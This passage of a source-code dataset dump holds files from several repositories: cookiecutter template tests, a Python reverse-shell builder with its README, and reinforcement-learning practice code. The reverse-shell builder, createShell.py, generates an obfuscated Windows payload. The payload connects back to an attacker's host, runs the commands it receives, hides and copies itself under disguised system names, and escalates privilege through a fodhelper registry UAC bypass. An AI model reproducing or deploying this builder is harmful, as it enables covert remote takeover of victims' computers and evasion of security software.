\"no\",\n \"dockerize_cli_script\": \"no\",\n })\n assert result.exit_code == 0\n assert not os.path.exists(result.project.join('Dockerfile'))\n\n readme = result.project.join(\"README.md\").read()\n assert \"Docker\" not in readme\n\n\ndef test_dockerfile_kept_when_requested(cookies):\n \"\"\"Test dockerfiles are kept when requested.\"\"\"\n result = cookies.bake(extra_context={\n \"package_name\": \"test_project\",\n \"package_slug\": \"test-project\",\n \"package_title\": \"Test Project\",\n \"package_short_description\": \"Short description.\",\n \"add_cli_script\": \"yes\",\n \"dockerize_cli_script\": \"yes\",\n })\n assert result.exit_code == 0\n assert os.path.exists(result.project.join('Dockerfile'))\n\n readme = result.project.join(\"README.md\").read()\n assert \"Docker\" in readme\n\n\ndef test_makefile_removed_in_hook(cookies):\n \"\"\"Test the removal of Makefiles in the post script.\"\"\"\n result = cookies.bake(extra_context={\n \"package_name\": \"test_project\",\n \"package_slug\": \"test-project\",\n \"package_title\": \"Test Project\",\n \"package_short_description\": \"Short description.\",\n \"add_cli_script\": \"no\",\n \"dockerize_cli_script\": \"no\",\n \"optional_makefile\": \"no\",\n })\n assert result.exit_code == 0\n assert not os.path.exists(result.project.join('Makefile'))\n\n\ndef test_makefile_kept_when_requested(cookies):\n \"\"\"Test Makefiles are kept when requested.\"\"\"\n result = cookies.bake(extra_context={\n \"package_name\": \"test_project\",\n \"package_slug\": \"test-project\",\n \"package_title\": \"Test Project\",\n \"package_short_description\": \"Short description.\",\n \"add_cli_script\": \"yes\",\n \"dockerize_cli_script\": \"yes\",\n \"optional_makefile\": \"yes\",\n })\n assert result.exit_code == 0\n assert os.path.exists(result.project.join('Makefile'))\n" }, { "alpha_fraction": 0.7021276354789734, "alphanum_fraction": 0.7021276354789734, "avg_line_length": 14.666666984558105, "blob_id": "d80df6eb56724e94d497da92afb6b299c222f395", "content_id": "ce6496fcaad9ca623f6098172d589ba6f7045835", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 47, "license_type": "permissive", "max_line_length": 18, "num_lines": 3, "path": "/pytest.ini", "repo_name": "denzuko-forked/cookiecutter-python-goodstuff", "src_encoding": "UTF-8", "text": "[pytest]\naddopts = --pylint\ntestpaths = tests/\n" }, { "alpha_fraction": 0.6221562623977661, "alphanum_fraction": 0.6231454014778137, "avg_line_length": 24.274999618530273, "blob_id": "30b35b5fa8119123b9a2ce578f497d9b3c94fa6d", "content_id": "62310ce567d3625ce1c96e4a15e56aa98ff525e0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1011, "license_type": "permissive", "max_line_length": 78, "num_lines": 40, "path": "/hooks/post_gen_project.py", "repo_name": "denzuko-forked/cookiecutter-python-goodstuff", "src_encoding": "UTF-8", "text": "\"\"\"Cleanup hook for a few unsupported actions.\"\"\"\n\n\nimport sys\nimport os\nimport shutil\n\n\nPACKAGE_DIR = \"{{ cookiecutter.package_name }}\"\n\n\ndef remove_bin_directory():\n \"\"\"Remove the bin directory if not requested.\n\n This is due to a current limitation of the cookiecutter API.\n \"\"\"\n if \"{{ cookiecutter.add_cli_script }}\" != \"yes\" and os.path.exists(\"bin\"):\n shutil.rmtree('bin', ignore_errors=True)\n os.remove(os.path.join(PACKAGE_DIR, 'cli.py'))\n\n\ndef remove_dockerfile():\n \"\"\"Remove the Dockerfile if not requested.\"\"\"\n if (\"{{ cookiecutter.dockerize_cli_script }}\" != \"yes\" and\n os.path.exists(\"Dockerfile\")):\n os.remove(\"Dockerfile\")\n\n\ndef remove_makefile():\n \"\"\"Remove the makefile if not requested.\"\"\"\n if (\"{{ cookiecutter.optional_makefile }}\" != \"yes\" and\n os.path.exists(\"Makefile\")):\n os.remove(\"Makefile\")\n\n\nif __name__ == \"__main__\":\n remove_bin_directory()\n remove_dockerfile()\n remove_makefile()\n sys.exit(0)\n" }, { "alpha_fraction": 0.6517311334609985, "alphanum_fraction": 0.6537678241729736, "avg_line_length": 34.07143020629883, "blob_id": "6b90247d61d26f30b8d611cc6547bbd000dcf99a", "content_id": "3a1ec6f08f852614f06ee306fa211d746b14589a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 491, "license_type": "permissive", "max_line_length": 61, "num_lines": 14, "path": "/tests/test_bake_project.py", "repo_name": "denzuko-forked/cookiecutter-python-goodstuff", "src_encoding": "UTF-8", "text": "\"\"\"Test that the project bakes correctly.\"\"\"\n\n\ndef test_project_tree(cookies):\n \"\"\"Test the resulting project tree is named correctly.\"\"\"\n result = cookies.bake(extra_context={\n \"package_name\": \"test_project\",\n \"package_slug\": \"test-project\",\n \"package_title\": \"Test Project\",\n \"package_short_description\": \"Short description.\"\n })\n assert result.exit_code == 0\n assert result.exception is None\n assert result.project.basename == 'test-project'\n" }, { "alpha_fraction": 0.5512820482254028, "alphanum_fraction": 0.7179487347602844, "avg_line_length": 18.5, "blob_id": "781c1bd834dff1f56349d7403e1a9472d11c249a", "content_id": "9d274d5ee428aa968ed42b427d78dcd5363ba3ec", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 78, "license_type": "permissive", "max_line_length": 21, "num_lines": 4, "path": "/requirements.dev.txt", "repo_name": "denzuko-forked/cookiecutter-python-goodstuff", "src_encoding": "UTF-8", "text": "cookiecutter>=1.6.0\npytest-pylint>=0.14.0\npytest>=3.3.0\npytest-cookies>=0.3.0\n" } ]
6
AssassinUKG/Python-ReverseShell
https://github.com/AssassinUKG/Python-ReverseShell
16652cef35d3cbe2a69766e46231d406899dc2c1
53be2498c4a46a401ff47504f5063f8a11a789c2
18ada6c1048423d7dfc77d40251785208eb4784a
refs/heads/main
2023-03-04T07:05:41.741425
2021-02-16T16:15:54
2021-02-16T16:15:54
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.734245777130127, "alphanum_fraction": 0.740804135799408, "avg_line_length": 58.440677642822266, "blob_id": "5634bb597e58854fedbebd9b28ddfbfc67f9c868", "content_id": "4daaddd324a877c504054a6850c1026ab8496004", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3552, "license_type": "permissive", "max_line_length": 165, "num_lines": 59, "path": "/README.md", "repo_name": "AssassinUKG/Python-ReverseShell", "src_encoding": "UTF-8", "text": "[Versão em português](https://github.com/LcGk/Python-ReverseShell#brazillian-portuguese--portugu%C3%AAs-brasileiro)\n\n# ***English***\n\n# Python-ReverseShell\nPython ReverseShell Builder with some advanced functionalities <br/>\n\n# Getting Started\nPython version: 3.x <br/>\nPython imports: Simply run `python -m pip install -r requirements.txt` to install all the required packages <br/>\n_Note: if you are on linux, you probably need to use `python3` instead of `python`_ <br/>\n\n# Building\nTo build your reverse shell run `python createShell.py` and fill with the information needed <br/>\n_Note: if you are on linux, you probably need to use `python3` instead of `python`_ <br/>\n_You can run the script with the `--no-color` flag if your terminal doesn't support colors_ <br/>\n\n# Connecting\nYou'll need to listen on the port you choosed, for that you can use `netcat` or some other program that does that. <br/>\n_Netcat for windows: [netcat](https://github.com/diegocr/netcat)_ <br/>\n_Netcat command example: `nc -l -p 7777` (`7777` is the port, replace it with the one you've chosen)_ <br/>\n\n# Info\nLHOST: IP the target machine will connect to _(usually your ip)_ <br/>\nLPORT: The PORT the target machine will connect to _(use a port of your choice, be aware that you will need to listen on that port later)_ <br/>\n **Advanced Options:**<br/>\n--- Seconds to sleep before running: The time the shell will stay idle before actually running _(can avoid some **runtime** detections)_ <br/>\n--- Hide file: Will try to hide itself with `windows flags` and move itself to the Program Data folder <br/>\n--- Spawn shell in another process: Will create a copy of itself in another folder and execute that file, than exit <br/>\n\n<br/><br/>\n\n# ***Brazillian Portuguese / Português Brasileiro***\n\n# Python-ReverseShell\nPython ReverseShell Builder com algumas funcionalidades avançadas <br/>\n\n# Começando\nVersão python: 3.x <br/>\nPython imports: Execute `python -m pip install -r requirements.txt` para instalar todos os pacotes necessários. <br/>\n_Atenção: se você estiver no linux, provavelmente precisará utilizar `python3` ao invés de `python`_ <br/>\n\n# Compilando\nPara criar sua reverse shell execute `python createShell.py` e preencha as informações necessárias <br/>\n_Atenção: se você estiver no linux, provavelmente precisará utilizar `python3` ao invés de `python`_ <br/>\n_Você pode executar o script com a flag `--no-color` se o seu terminal não suportar cores_ <br/>\n\n# Conectando\nVocê vai precisar \"escutar\" na porta escolhida, pra isso você pode usar o `netcat` ou outro programa que faça isso. <br/>\n_Netcat pro windows: [netcat](https://github.com/diegocr/netcat)_ <br/>\n_Exemplo de comando: `nc -l -p 7777` (`7777` é a porta, substitua pela porta que você escolheu)_ <br/>\n\n# Informações\nLHOST: IP que o computador infectado se conectará _(normalmente é o seu próprio ip)_ <br/>\nLPORT: A PORTA que o computador infectado conectará _(você pode usar a porta que quiser, mas tenha em mente que você precisará escutar nela depois)_ <br/>\n **Opções avançadas** <br/>\n--- Seconds to sleep before running: O tempo que a shell ficará em idle (\"dormindo\") antes de começar a funcionar _(pode evitar algumas detecções **runtime**)_ <br/>\n--- Hide file: A shell vai tentar se esconder usando `windows flags` e vai mover ela mesma para a pasta `Program Data` <br/>\n--- Spawn shell in another process: A shell vai tentar criar uma cópia de si mesma em outra pasta e executar aquele arquivo, depois fechará si mesma <br/>\n" }, { "alpha_fraction": 0.557382345199585, "alphanum_fraction": 0.5697131156921387, "avg_line_length": 37.01886749267578, "blob_id": "ee4c34a6b36297f8f719210fa247535106cbfc30", "content_id": "40b2842464cd2af36458adaecf7331235c3116bd", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12420, "license_type": "permissive", "max_line_length": 325, "num_lines": 318, "path": "/createShell.py", "repo_name": "AssassinUKG/Python-ReverseShell", "src_encoding": "UTF-8", "text": "\"\"\"\r\nCopyright (c) 2020 LcGk\r\n\r\n Permission is hereby granted, free of charge, to any person obtaining a copy\r\n of this software and associated documentation files (the \"Software\"), to deal\r\n in the Software without restriction, including without limitation the rights\r\n to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\r\n copies of the Software, and to permit persons to whom the Software is\r\n furnished to do so, subject to the following conditions:\r\n\r\n The above copyright notice and this permission notice shall be included in\r\n all copies or substantial portions of the Software.\r\n\r\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\r\n THE SOFTWARE.\r\n\r\n\r\nOther infos:\r\n Script developed for educational and whitehat purposes only. Its use is the user's responsibility.\r\n Random variable/function/import names are used to avoid signature detection.\r\n\"\"\"\r\n\r\n# TODOS\r\n# - Improve stability\r\n# - Clean code\r\n\r\ntitle = \"\"\"\r\n.-= Python Reverse Shell =-.\r\n By LcGk\r\n\"\"\"\r\n\r\nfrom random import choice, randint as r\r\nfrom colorama import Fore\r\nfrom base64 import b64encode\r\nimport os\r\nfrom shutil import rmtree\r\nimport subprocess\r\nfrom time import sleep\r\nfrom sys import argv\r\n\r\ndef genRandChars(l):\r\n c = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'\r\n return ''.join(choice(c) for x in range(l))\r\n\r\ndef sysName():\r\n names = [\"Adobe Runtime\", \"Windows Assistant\", \"Windows Live Service\", \"Microsoft WebService\", \"Microsoft Helper\", \"Microsoft Utility\", \"Explorer Settings\", \"Adobe Updater\", \"Adobe Assistance\",\r\n \"Microsoft Technology Helper\", \"Windows Utility\", \"COM Surrogate\", \"Windows Health Service\"]\r\n return choice(names)\r\n\r\n\r\ndef main():\r\n global title\r\n question = Fore.LIGHTMAGENTA_EX\r\n advanced = Fore.LIGHTBLUE_EX\r\n warning = Fore.YELLOW\r\n info = Fore.LIGHTCYAN_EX\r\n success = Fore.LIGHTGREEN_EX\r\n reset = Fore.RESET\r\n\r\n if len(argv) > 1:\r\n if argv[1] == \"--no-color\":\r\n question = \"\"\r\n advanced = \"\"\r\n warning = \"\"\r\n info = \"\"\r\n success = \"\"\r\n reset = \"\"\r\n else:\r\n print(\"Info: You can use the --no-color flag if your terminal doesn't support colors\")\r\n\r\n print(success + title + reset)\r\n\r\n IP = b64encode(input(question + \"[?] LHOST » \" + reset).encode())\r\n PORT = b64encode(input(question + \"[?] LPORT » \" + reset).encode())\r\n\r\n adOp = input(question + \"[?] Enable advanced options? [y/N] » \" + reset)\r\n advancedOp = False\r\n adOptions = {\"initialSleep\": 0.05, \"hidenFile\": False, \"spawnOtherProcess\": False, \"StartWithWindows\": False}\r\n\r\n if(adOp.lower() == \"y\"):\r\n advancedOp = True\r\n adOptions[\"initialSleep\"] = float(input(advanced + \"[Advanced] Seconds to sleep before running (allows float) » \" + reset))\r\n adOptions[\"hidenFile\"] = True if ((input(advanced + \"[Advanced] Hide file? [y/N] » \" + reset).lower() == \"y\")) else False\r\n adOptions[\"spawnOtherProcess\"] = True if((input(advanced + \"[Advanced] Spawn shell in another process? [y/N] » \" + reset).lower() == \"y\")) else False\r\n # adOptions[\"StartWithWindows\"] = True if ((input(advanced + \"[Advanced] Start shell with windows [y/N] » \" + reset).lower() == \"y\")) else False\r\n\r\n vars = {\"socket\": genRandChars(r(8, 12)), \"subprocess\": genRandChars(r(8, 12)), \"os\": genRandChars(r(8, 12)),\r\n \"sleep\": genRandChars(r(8, 12)), \"sWith\": genRandChars(r(12, 14)), \"send\": genRandChars(r(18, 24)),\r\n \"recv\": genRandChars(r(18, 24)), \"s\": genRandChars(r(6, 12)), \"connected\": genRandChars(r(16, 32)),\r\n \"data\": genRandChars(r(12, 14)), \"p\": genRandChars(r(4, 6)), \"r\": genRandChars(r(8, 10)), \"b64\": genRandChars(r(22, 36)),\r\n \"host\": genRandChars(r(48, 64)), \"hideFile\": genRandChars(r(26, 48)), \"oProcess\": genRandChars(r(40, 62)),\r\n \"copy\": genRandChars(r(14, 22)), \"inOtherProcess\": genRandChars(r(22, 44)), \"bypassUAC\": genRandChars(r(64, 96)), \"winreg\": genRandChars(r(14, 28)),\r\n \"ctypes\": genRandChars(r(18, 26))}\r\n\r\n bA = \"{\"\r\n bB = \"}\"\r\n\r\n shell = f\"\"\"\r\n\r\nimport socket as {vars[\"socket\"]}, subprocess as {vars[\"subprocess\"]}, os as {vars[\"os\"]}, winreg as {vars[\"winreg\"]};\r\nfrom time import sleep as {vars[\"sleep\"]};\r\nfrom base64 import b64decode as {vars[\"b64\"]};\r\nimport sys\r\nfrom shutil import copy as {vars[\"copy\"]}\r\nimport ctypes as {vars[\"ctypes\"]}\r\n\r\n{vars[\"sleep\"]}({adOptions[\"initialSleep\"]})\r\n\r\ndef getCPath():\r\n if(getattr(sys, 'frozen', False)):\r\n rPath = sys.executable\r\n else:\r\n rPath = {vars[\"os\"]}.path.abspath(__file__)\r\n n = {vars[\"os\"]}.path.basename(rPath)\r\n return [rPath, n]\r\n\r\ndef cFix():\r\n sInfo = {vars[\"subprocess\"]}.STARTUPINFO()\r\n sInfo.dwFlags |= {vars[\"subprocess\"]}.STARTF_USESHOWWINDOW\r\n \r\n args = {{'stdout': {vars[\"subprocess\"]}.DEVNULL,\r\n 'stderr': {vars[\"subprocess\"]}.DEVNULL,\r\n 'stdin': {vars[\"subprocess\"]}.DEVNULL,\r\n 'startupinfo': sInfo,\r\n 'env': {vars[\"os\"]}.environ}}\r\n return args\r\n\r\ndef {vars[\"hideFile\"]}():\r\n rPath, n = getCPath()\r\n {vars[\"subprocess\"]}.call([\"attrib\", \"+H\", n, \"/S\"], **cFix())\r\n\r\n try:\r\n {vars[\"os\"]}.rename(rPath, \"C:\\\\\\\\ProgramData\\\\\\\\\" + n)\r\n except:\r\n pass\r\n\r\nif({adOptions[\"hidenFile\"]}):\r\n {vars[\"hideFile\"]}()\r\n\r\ndef isAdmin():\r\n try:\r\n return {vars[\"ctypes\"]}.windll.shell32.IsUserAdmin()\r\n except:\r\n return False\r\n\r\ndef {vars[\"bypassUAC\"]}(dir):\r\n if not (isAdmin()):\r\n try:\r\n rPath = 'Software\\\\\\\\Classes\\\\\\\\ms-settings\\\\\\\\shell\\\\\\\\open\\\\\\\\command'\r\n\r\n {vars[\"winreg\"]}.CreateKey({vars[\"winreg\"]}.HKEY_CURRENT_USER, rPath)\r\n rKey = {vars[\"winreg\"]}.OpenKey({vars[\"winreg\"]}.HKEY_CURRENT_USER, rPath, 0, {vars[\"winreg\"]}.KEY_WRITE)\r\n {vars[\"winreg\"]}.SetValueEx(rKey, \"DelegateExecute\", 0, {vars[\"winreg\"]}.REG_SZ, '')\r\n {vars[\"winreg\"]}.CloseKey(rKey)\r\n\r\n {vars[\"sleep\"]}(0.025)\r\n\r\n cmd = \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /k \" + dir\r\n {vars[\"winreg\"]}.CreateKey({vars[\"winreg\"]}.HKEY_CURRENT_USER, rPath)\r\n rKey = {vars[\"winreg\"]}.OpenKey({vars[\"winreg\"]}.HKEY_CURRENT_USER, rPath, 0, {vars[\"winreg\"]}.KEY_WRITE)\r\n {vars[\"winreg\"]}.SetValueEx(rKey, None, 0, {vars[\"winreg\"]}.REG_SZ, cmd)\r\n {vars[\"winreg\"]}.CloseKey(rKey)\r\n\r\n {vars[\"sleep\"]}(0.025)\r\n {vars[\"subprocess\"]}.Popen([\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\fodhelper.exe\"], shell=False, stdout={vars[\"subprocess\"]}.DEVNULL, stdin={vars[\"subprocess\"]}.DEVNULL, stderr={vars[\"subprocess\"]}.DEVNULL, close_fds=True)\r\n sys.exit()\r\n except:\r\n pass\r\n else:\r\n return\r\n\r\nrPath, n = getCPath()\r\n{vars[\"bypassUAC\"]}(rPath)\r\n\r\n{vars[\"inOtherProcess\"]} = False\r\ndef {vars[\"oProcess\"]}():\r\n global {vars[\"inOtherProcess\"]}\r\n rPath, n = getCPath()\r\n\r\n nPath = \"C:\\\\\\\\ProgramData\\\\\\\\{sysName()}.exe\"\r\n\r\n if({vars[\"os\"]}.path.exists(nPath)):\r\n if(n == {vars[\"os\"]}.path.basename(nPath)):\r\n return\r\n\r\n try:\r\n try:\r\n {vars[\"copy\"]}(rPath, nPath)\r\n except:\r\n pass\r\n {vars[\"sleep\"]}(0.0025)\r\n {vars[\"subprocess\"]}.Popen([nPath], shell=False, stdout={vars[\"subprocess\"]}.DEVNULL, stdin={vars[\"subprocess\"]}.DEVNULL, stderr={vars[\"subprocess\"]}.DEVNULL, close_fds=True)\r\n {vars[\"inOtherProcess\"]} = True\r\n {vars[\"sleep\"]}(0.5)\r\n except:\r\n print(\"??\")\r\n if({vars[\"inOtherProcess\"]}):\r\n sys.exit()\r\n\r\n\r\nif({adOptions[\"spawnOtherProcess\"]}):\r\n {vars[\"oProcess\"]}()\r\n\r\ndef {vars[\"sWith\"]}(s, w):\r\n s = s.split(\" \")\r\n if(s[0] == w):\r\n return True\r\n return False\r\n\r\ndef {vars[\"send\"]}(s, m):\r\n m = (f\"\\\\n[{bA}{vars[\"socket\"]}.gethostname(){bB}]\\\\n\" + m).encode('utf-8')\r\n s.send(m)\r\n\r\ndef {vars[\"recv\"]}(s):\r\n return s.recv(2048).decode('utf-8').strip()\r\n\r\ndef {vars[\"host\"]}():\r\n return (({vars[\"b64\"]}({IP})).decode(), int(({vars[\"b64\"]}({PORT})).decode()))\r\n\r\n{vars[\"s\"]} = {vars[\"socket\"]}.socket({vars[\"socket\"]}.AF_INET, {vars[\"socket\"]}.SOCK_STREAM)\r\n{vars[\"s\"]}.settimeout(30)\r\n{vars[\"connected\"]} = False\r\n\r\nwhile not {vars[\"connected\"]}:\r\n try:\r\n {vars[\"s\"]}.connect({vars[\"host\"]}())\r\n {vars[\"send\"]}({vars[\"s\"]}, \"Shell started.\\\\n -> \")\r\n {vars[\"connected\"]} = True\r\n except {vars[\"socket\"]}.timeout:\r\n pass\r\n except:\r\n {vars[\"sleep\"]}(1)\r\n {vars[\"sleep\"]}(0.5)\r\n\r\nwhile {vars[\"connected\"]}:\r\n {vars[\"s\"]}.settimeout(60)\r\n try:\r\n {vars[\"data\"]} = {vars[\"recv\"]}({vars[\"s\"]})\r\n if({vars[\"data\"]}.lower() == \"quit\" or {vars[\"data\"]}.lower() == \"exit\"):\r\n {vars[\"connected\"]} = False\r\n break\r\n elif({vars[\"sWith\"]}({vars[\"data\"]}.lower(), \"cd\")):\r\n try:\r\n {vars[\"os\"]}.chdir({vars[\"data\"]}.replace(\"cd \", \"\"))\r\n {vars[\"send\"]}({vars[\"s\"]}, \"New directory: \" + {vars[\"os\"]}.getcwd())\r\n except:\r\n {vars[\"send\"]}({vars[\"s\"]}, \"Couldn't change directory.\")\r\n elif({vars[\"data\"]}.lower() == \"ls\"):\r\n {vars[\"send\"]}({vars[\"s\"]}, \"Current directory: \" + {vars[\"os\"]}.getcwd())\r\n elif({vars[\"data\"]}.lower() == \"?\" or {vars[\"data\"]}.lower() == \"help\"):\r\n {vars[\"send\"]}({vars[\"s\"]}, \"Command list:\\\\nquit or exit Close shell process\\\\nPress ctrl+c Close connection but shell still open\\\\ncd Change working directory\\\\nls Show current directory\\\\n? or help Show command list\\\\nAny other command System commands\\\\n\")\r\n else:\r\n if(len({vars[\"data\"]}) > 0):\r\n {vars[\"p\"]} = {vars[\"subprocess\"]}.Popen({vars[\"data\"]}, shell=True, stdout={vars[\"subprocess\"]}.PIPE, stdin={vars[\"subprocess\"]}.PIPE, stderr={vars[\"subprocess\"]}.PIPE)\r\n {vars[\"r\"]} = {vars[\"p\"]}.stdout.read().decode('utf-8', errors='replace') + \"\\\\n Errors -> \" + {vars[\"p\"]}.stderr.read().decode('utf-8', errors='replace')\r\n {vars[\"send\"]}({vars[\"s\"]}, {vars[\"r\"]})\r\n else:\r\n {vars[\"send\"]}({vars[\"s\"]}, \"Invalid or blank command\\\\n\")\r\n {vars[\"s\"]}.send(\"\\\\n -> \".encode('utf-8'))\r\n except {vars[\"socket\"]}.timeout:\r\n {vars[\"sleep\"]}(0.5)\r\n pass\r\n except:\r\n {vars[\"connected\"]} = False\r\n\r\n{vars[\"s\"]}.close()\r\n\"\"\"\r\n \r\n # print(shell)\r\n # return\r\n\r\n print(warning + \"[!] Attention! Wrinting the shell will override any other file in the folder \\\"shellpybuild\\\" (if any)\" + reset)\r\n conf = input(question + \"[?] Continue? [Y/n] » \" + reset)\r\n if(conf.lower() == \"n\"):\r\n print(\"Action cancelled.\")\r\n exit()\r\n\r\n print(info + \"[i] Writing shell to file...\" + reset)\r\n\r\n try:\r\n rmtree(\"shellpybuild\")\r\n except Exception as err:\r\n pass\r\n \r\n sleep(1.5)\r\n os.mkdir(\"shellpybuild\")\r\n os.chdir(\"shellpybuild\")\r\n sFile = open(\"shell.py\", \"w\")\r\n sFile.write(shell)\r\n sFile.close()\r\n \r\n print(info + \"[i] Compiling to exe...\" + reset)\r\n p = subprocess.call(\"python -m PyInstaller --noconsole --onefile shell.py -y\", stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\r\n # subprocess.call(\"python -m PyInstaller --onefile shell.py -y\", stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\r\n # os.system(\"cls\")\r\n print(success + \"[✓] Compiled.\" + reset)\r\n\r\n print(info + \"[i] Removing files...\" + reset)\r\n os.rename(\"dist/shell.exe\", \"shell.exe\")\r\n sleep(1)\r\n try:\r\n rmtree(\"__pycache__\")\r\n rmtree(\"build\")\r\n rmtree(\"dist\")\r\n os.remove(\"shell.py\")\r\n os.remove(\"shell.spec\")\r\n except Exception as err:\r\n pass\r\n print(success + \"[✓] Shell created successfully. (Writen to shellpybuild/shell.exe)\" + reset)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n" } ]
2
M-J-Murray/gym_practice
https://github.com/M-J-Murray/gym_practice
6a36bc91d36a7e117e48a9876251e2dd78340146
7664cc631f51cdb9c1e47d803d4e23e7cc4c699a
d1bee6dd15b3381d36818bbf3ca8485c8f5f1d30
refs/heads/master
2020-08-04T01:27:02.151242
2019-09-30T20:46:04
2019-09-30T20:46:04
211,953,192
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.65516197681427, "alphanum_fraction": 0.6745383143424988, "avg_line_length": 46.18571472167969, "blob_id": "8e57b91ada9dc014f0a4f92a2c14ff38cfbcb0cc", "content_id": "da590787458500d325d0a609bb23a16412fcc665", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3303, "license_type": "no_license", "max_line_length": 139, "num_lines": 70, "path": "/FlowPong3/Model.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "import tensorflow as tf\n\n\ndef init_weights(name, dims, initializer=tf.contrib.layers.xavier_initializer(), regularizer=tf.contrib.layers.l2_regularizer(scale=1e-3)):\n return tf.get_variable(name, trainable=True, shape=dims, initializer=initializer, regularizer=regularizer)\n\n\ndef init_conv(name, in_channels, out_channels, k=5):\n return init_weights(name, [k, k, in_channels, out_channels], initializer=tf.contrib.layers.xavier_initializer_conv2d())\n\n\ndef conv2d(inputs, weights, strides=2):\n x = tf.nn.conv2d(inputs, weights, strides=[1, strides, strides, 1], padding='VALID')\n return tf.nn.relu(x)\n\n\ndef maxpool2d(inputs, k=2):\n return tf.nn.max_pool(inputs, ksize=[1, k, k, 1], strides=[1, k, k, 1], padding='VALID')\n\n\ndef tail(inputs, weights):\n inputs = tf.reshape(inputs, [-1, weights.get_shape().as_list()[0]])\n return tf.matmul(inputs, weights)\n\n\nclass Model(object):\n\n def __init__(self, optim, action_classes=2, criterion=tf.losses.softmax_cross_entropy, batch_size=128):\n self.conv1 = init_conv(\"conv1\", 1, 12)\n self.conv2 = init_conv(\"conv2\", 12, 24)\n self.conv3 = init_conv(\"conv3\", 24, 24)\n self.fc = init_weights(\"fc\", [24*2*5, action_classes])\n\n self.observations_sym = tf.placeholder(tf.float32, [None, 42, 64, 1])\n self.actions_sym = tf.placeholder(tf.float32, [None, action_classes])\n self.rewards_sym = tf.placeholder(tf.float32, [None])\n\n self.action_out_sym = tf.nn.softmax(self.eval(self.observations_sym), axis=1)\n self.global_step = tf.get_variable('global_step', [], initializer=tf.constant_initializer(-1), trainable=False)\n self.zero_ops, self.accum_ops, self.train_step = self.train(optim, criterion)\n\n self.batch_size = batch_size\n self.buffer_size = tf.placeholder(dtype=tf.int64, shape=())\n dataset = tf.data.Dataset.from_tensor_slices((self.observations_sym, self.actions_sym, self.rewards_sym))\n dataset = dataset.shuffle(buffer_size=self.buffer_size)\n dataset = dataset.batch(batch_size=batch_size)\n self.iterator = dataset.make_initializable_iterator()\n self.next_batch = self.iterator.get_next()\n\n # Applies forward propagation to the inputs\n def eval(self, inputs):\n out = conv2d(inputs, self.conv1)\n out = conv2d(out, self.conv2)\n out = conv2d(out, self.conv3)\n out = tail(out, self.fc)\n return out\n\n def train(self, optim, criterion):\n grads, lvs = zip(*optim.compute_gradients(self.loss(criterion), var_list=tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES)))\n grads_accum = [tf.Variable(tf.zeros_like(lv.initialized_value())) for lv in lvs]\n zero_ops = [grad_accum.assign(tf.zeros_like(grad_accum)) for grad_accum in grads_accum]\n accum_ops = [grads_accum[i].assign_add(grad) for i, grad in enumerate(grads)]\n train_step = optim.apply_gradients(zip(grads_accum, lvs), self.global_step)\n return zero_ops, accum_ops, train_step\n\n def loss(self, criterion):\n action_out = self.eval(self.observations_sym)\n loss = criterion(logits=action_out, onehot_labels=self.actions_sym, reduction=tf.losses.Reduction.NONE)\n loss += tf.losses.get_regularization_loss()\n return tf.reduce_sum(self.rewards_sym * loss)\n" }, { "alpha_fraction": 0.5355648398399353, "alphanum_fraction": 0.5550906658172607, "avg_line_length": 29.173913955688477, "blob_id": "02925d51cbd5855e3bdab6e7b26952e1b1372c26", "content_id": "33b150f412df87e4c2956a5f88c1ec269babce1a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 717, "license_type": "no_license", "max_line_length": 114, "num_lines": 23, "path": "/Pollcart/Emulator.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "from Game import Game\r\nimport gym\r\n\r\n\r\nclass Emulator(object):\r\n\r\n def __init__(self, game, agent, seed):\r\n self.agent = agent\r\n game_env = gym.make(game)\r\n game_env.seed(seed)\r\n self.game = Game(agent, game_env)\r\n\r\n def start(self):\r\n episode = 0\r\n running_reward = None\r\n\r\n while True:\r\n episode += 1\r\n history, sum_reward = self.game.simulate()\r\n self.agent.update_params(history)\r\n running_reward = sum_reward if running_reward is None else running_reward * 0.999 + sum_reward * 0.001\r\n if episode % 100 == 0:\r\n print \"episode \", episode, \" complete - average reward = \", running_reward\r\n" }, { "alpha_fraction": 0.5758010745048523, "alphanum_fraction": 0.6044954657554626, "avg_line_length": 28.871429443359375, "blob_id": "52c8ac8e61cce82d5d1b2c4a4b93006c80bc07d0", "content_id": "da09b84b8054e43ce33902726558ee962ef02419", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2091, "license_type": "no_license", "max_line_length": 98, "num_lines": 70, "path": "/Flow-Spiral/__init__.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", 